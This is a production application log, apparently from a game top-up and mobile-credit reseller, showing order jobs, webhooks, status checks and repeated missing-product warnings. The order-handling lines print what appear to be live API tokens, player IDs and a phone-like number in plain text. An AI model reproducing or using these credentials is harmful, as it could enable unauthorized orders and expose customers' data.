[2026-03-24 04:30:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1133  
[2026-03-24 04:30:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ccF-1774273795","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 04:30:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-ccF-1774273795","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 04:30:42] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 04:30:42] production.INFO: SendAcceptReject: Notification queued {"user_id":193,"notification_type":"order_rejected","reference_id":177869} 
[2026-03-24 04:30:42] production.INFO: Order updated successfully. Order ID: 177869, Status: rejected  
[2026-03-24 04:30:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ccF-1774273795","status":"rejected","codes_count":0} 
[2026-03-24 04:30:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 193  
[2026-03-24 04:30:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 193  
[2026-03-24 04:32:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"PIJmgMht3J0Mg553NOtD8h4J3EroJkUe","execution_time":"2026-03-24 04:32:01"} 
[2026-03-24 04:32:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"PIJmgMht3J0Mg553NOtD8h4J3EroJkUe","execution_time":"2026-03-24 04:32:01"} 
[2026-03-24 04:34:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Nv4z2u2u8B3nOlgmw8Jrgu56XIn8DoOT","execution_time":"2026-03-24 04:34:01"} 
[2026-03-24 04:34:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Nv4z2u2u8B3nOlgmw8Jrgu56XIn8DoOT","execution_time":"2026-03-24 04:34:01"} 
[2026-03-24 04:35:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:35:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:35:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:35:03] production.INFO: async() رجع: true  
[2026-03-24 04:35:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:35:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:35:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:35:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:35:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:35:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:35:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:35:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:35:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:35:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:35:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hJK7APRPjxqfYmtCJdjQVq6XFHoTJNgQ","execution_time":"2026-03-24 04:36:02"} 
[2026-03-24 04:36:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"hJK7APRPjxqfYmtCJdjQVq6XFHoTJNgQ","execution_time":"2026-03-24 04:36:02"} 
[2026-03-24 04:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"FViAiXeCCClod8SHJjh6iHDp1yl9ZjPY","execution_time":"2026-03-24 04:38:02"} 
[2026-03-24 04:38:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"FViAiXeCCClod8SHJjh6iHDp1yl9ZjPY","execution_time":"2026-03-24 04:38:02"} 
[2026-03-24 04:40:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"quNqCImA1jshlRjbs0PjIjLnrbPsJSd4","execution_time":"2026-03-24 04:40:00"} 
[2026-03-24 04:40:00] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"quNqCImA1jshlRjbs0PjIjLnrbPsJSd4","execution_time":"2026-03-24 04:40:00"} 
[2026-03-24 04:40:00] production.INFO: Executing GetProducts task...  
[2026-03-24 04:40:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:40:00] production.INFO: Executing GetProducts task...  
[2026-03-24 04:40:02] production.INFO: async() رجع: true  
[2026-03-24 04:40:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:40:02] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:40:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:40:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:40:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:40:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:40:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:40:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:40:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:40:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:40:03] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:40:31] production.INFO: Constructing job for order: 178522  
[2026-03-24 04:40:33] production.INFO: Handling job for order: 178522  
[2026-03-24 04:40:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 04:40:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 04:40:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=a7b8e55f-3fa4-49c8-bd32-ed6eeb8416a5&Player_ID=0959822959  
[2026-03-24 04:40:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=a7b8e55f-3fa4-49c8-bd32-ed6eeb8416a5&Player_ID=0959822959","has_body":false} 
[2026-03-24 04:40:34] production.INFO: Operation sent successfully {"operation_id":163453,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-k1swpl-1774316434","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 04:40:34"}},"processed_data":{"order_number":"ORD-k1swpl-1774316434","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 04:41:48] production.INFO: Constructing job for order: 178523  
[2026-03-24 04:41:49] production.INFO: Handling job for order: 178523  
[2026-03-24 04:41:49] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 04:41:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 04:41:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=feed9290-241a-440f-9e2c-7e11699edf2b&Player_ID=0959822959  
[2026-03-24 04:41:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=feed9290-241a-440f-9e2c-7e11699edf2b&Player_ID=0959822959","has_body":false} 
[2026-03-24 04:41:50] production.INFO: Operation sent successfully {"operation_id":163454,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qPl-1774316510","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 04:41:50"}},"processed_data":{"order_number":"ORD-qPl-1774316510","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 04:42:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02"} 
[2026-03-24 04:42:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","total_operations":2,"sites_count":1} 
[2026-03-24 04:42:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-k1swpl-1774316434","ORD-qPl-1774316510"]} 
[2026-03-24 04:42:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 04:42:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 04:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454} 
[2026-03-24 04:42:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 04:42:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 04:42:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"count":1} 
[2026-03-24 04:42:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"count":1} 
[2026-03-24 04:42:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"user_id":1071,"notification_type":"order_approved","reference_id":178522} 
[2026-03-24 04:42:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 04:42:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 04:42:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"processed":1,"errors":0} 
[2026-03-24 04:42:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"processed":1,"errors":0} 
[2026-03-24 04:42:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"DOdpb8gDSo1SBo7hpwqkrl1vFLADEBsS","execution_time":"2026-03-24 04:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454} 
[2026-03-24 04:42:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 04:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02"} 
[2026-03-24 04:44:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","total_operations":1,"sites_count":1} 
[2026-03-24 04:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-qPl-1774316510"]} 
[2026-03-24 04:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 04:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 04:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 04:44:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 04:44:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"count":1} 
[2026-03-24 04:44:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"count":1} 
[2026-03-24 04:44:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"user_id":1071,"notification_type":"order_approved","reference_id":178523} 
[2026-03-24 04:44:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 04:44:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 04:44:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"processed":1,"errors":0} 
[2026-03-24 04:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454,"processed":1,"errors":0} 
[2026-03-24 04:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"tbNVFfau5zpV5Hj7EliaeOY8r8bIIQj9","execution_time":"2026-03-24 04:44:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qPl-1774316510","operation_id":163454} 
[2026-03-24 04:44:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 04:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 04:45:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 04:45:04] production.INFO: async() رجع: true  
[2026-03-24 04:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:45:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:45:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:46:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KnX2Dm3Ky4XMRuuDA5GFhESzz3FUszvh","execution_time":"2026-03-24 04:46:03"} 
[2026-03-24 04:46:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"KnX2Dm3Ky4XMRuuDA5GFhESzz3FUszvh","execution_time":"2026-03-24 04:46:03"} 
[2026-03-24 04:46:03] production.INFO: Constructing job for order: 178524  
[2026-03-24 04:46:06] production.INFO: Handling job for order: 178524  
[2026-03-24 04:46:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 04:46:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 04:46:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/604/params?qty=10000&uuid=87f7c101-90c8-4f23-afea-7b6e2e30f279&Player_ID=5038843  
[2026-03-24 04:46:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/604/params?qty=10000&uuid=87f7c101-90c8-4f23-afea-7b6e2e30f279&Player_ID=5038843","has_body":false} 
[2026-03-24 04:46:07] production.INFO: Operation sent successfully {"operation_id":163455,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MwQ3-1774316766","amount":0.98155000000000003357314426466473378241062164306640625,"status":"processing","product":"Cocco Amount","game":"Cocco","notes":[],"created_at":"2026-03-24 04:46:07"}},"processed_data":{"order_number":"ORD-MwQ3-1774316766","amount":0.98155000000000003357314426466473378241062164306640625,"status":"processing","product":"Cocco Amount","game":"Cocco"}} 
[2026-03-24 04:46:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MwQ3-1774316766","status":"completed","notes":["جميع العمليات اكتملت بنجاح","-✅ تم شحن الحساب 💙آلَحـ❣ـہمـ❣ـہصـ❣ـہي💙 بنجاح"],"codes":[]}} 
[2026-03-24 04:46:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-MwQ3-1774316766","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح","-✅ تم شحن الحساب 💙آلَحـ❣ـہمـ❣ـہصـ❣ـہي💙 بنجاح"]} 
[2026-03-24 04:46:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 04:46:12] production.INFO: SendAcceptReject: Notification queued {"user_id":396,"notification_type":"order_approved","reference_id":178524} 
[2026-03-24 04:46:12] production.INFO: Order updated successfully. Order ID: 178524, Status: completed  
[2026-03-24 04:46:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MwQ3-1774316766","status":"completed","codes_count":0} 
[2026-03-24 04:46:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 396  
[2026-03-24 04:48:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Oj3uTc8lOG3DIGvToSReg0sGKFXzMt9E","execution_time":"2026-03-24 04:48:01"} 
[2026-03-24 04:48:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Oj3uTc8lOG3DIGvToSReg0sGKFXzMt9E","execution_time":"2026-03-24 04:48:01"} 
[2026-03-24 04:50:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YJpUQXEJBHJMU6E7Mm6UIfUuRUBHDw5O","execution_time":"2026-03-24 04:50:01"} 
[2026-03-24 04:50:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"YJpUQXEJBHJMU6E7Mm6UIfUuRUBHDw5O","execution_time":"2026-03-24 04:50:01"} 
[2026-03-24 04:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:50:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:50:03] production.INFO: async() رجع: true  
[2026-03-24 04:50:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:50:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:50:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:50:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:50:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:50:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:50:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:50:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:50:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:50:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:50:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fQSE35UkzN5uGYgYjvcuqdik3ugEZnRP","execution_time":"2026-03-24 04:52:01"} 
[2026-03-24 04:52:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"fQSE35UkzN5uGYgYjvcuqdik3ugEZnRP","execution_time":"2026-03-24 04:52:01"} 
[2026-03-24 04:54:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"mXf92Z24MoCh5MzTyYbRpMn5MTJ8X2PZ","execution_time":"2026-03-24 04:54:01"} 
[2026-03-24 04:54:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"mXf92Z24MoCh5MzTyYbRpMn5MTJ8X2PZ","execution_time":"2026-03-24 04:54:01"} 
[2026-03-24 04:55:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:55:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:55:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:55:03] production.INFO: async() رجع: true  
[2026-03-24 04:55:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:55:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:55:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:55:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:55:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:55:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:55:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:55:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:55:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:55:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:55:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:56:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"iTeAvGbZ4DTgx4VeOdVEEzanQJmSDd1b","execution_time":"2026-03-24 04:56:02"} 
[2026-03-24 04:56:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"iTeAvGbZ4DTgx4VeOdVEEzanQJmSDd1b","execution_time":"2026-03-24 04:56:02"} 
[2026-03-24 04:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZfuKniAFLW0dgJVFeO96QD3WQBrRaOTU","execution_time":"2026-03-24 04:58:02"} 
[2026-03-24 04:58:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"ZfuKniAFLW0dgJVFeO96QD3WQBrRaOTU","execution_time":"2026-03-24 04:58:02"} 
[2026-03-24 05:00:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QifILbZ9fXaCFHupVhnVKJVRuLKtTy0U","execution_time":"2026-03-24 05:00:02"} 
[2026-03-24 05:00:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"QifILbZ9fXaCFHupVhnVKJVRuLKtTy0U","execution_time":"2026-03-24 05:00:02"} 
[2026-03-24 05:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:00:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:00:04] production.INFO: async() رجع: true  
[2026-03-24 05:00:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:00:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:00:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:00:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:00:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"InmMmhDVH6AiQyoyf1BweLamJtrBJUHZ","execution_time":"2026-03-24 05:02:02"} 
[2026-03-24 05:02:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"InmMmhDVH6AiQyoyf1BweLamJtrBJUHZ","execution_time":"2026-03-24 05:02:02"} 
[2026-03-24 05:04:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"i7uoAB9Cipxhu7bLo0b9vRCm0iIBHzYE","execution_time":"2026-03-24 05:04:02"} 
[2026-03-24 05:04:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"i7uoAB9Cipxhu7bLo0b9vRCm0iIBHzYE","execution_time":"2026-03-24 05:04:02"} 
[2026-03-24 05:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:05:04] production.INFO: async() رجع: true  
[2026-03-24 05:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:05:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:05:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:06:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"O5b27YLqoEUWvm8QiBLc50pTH7Ad8Mj0","execution_time":"2026-03-24 05:06:03"} 
[2026-03-24 05:06:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"O5b27YLqoEUWvm8QiBLc50pTH7Ad8Mj0","execution_time":"2026-03-24 05:06:03"} 
[2026-03-24 05:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jIFjYAhHcGF8Q9kL0S0DzEiE3NxijUlL","execution_time":"2026-03-24 05:08:03"} 
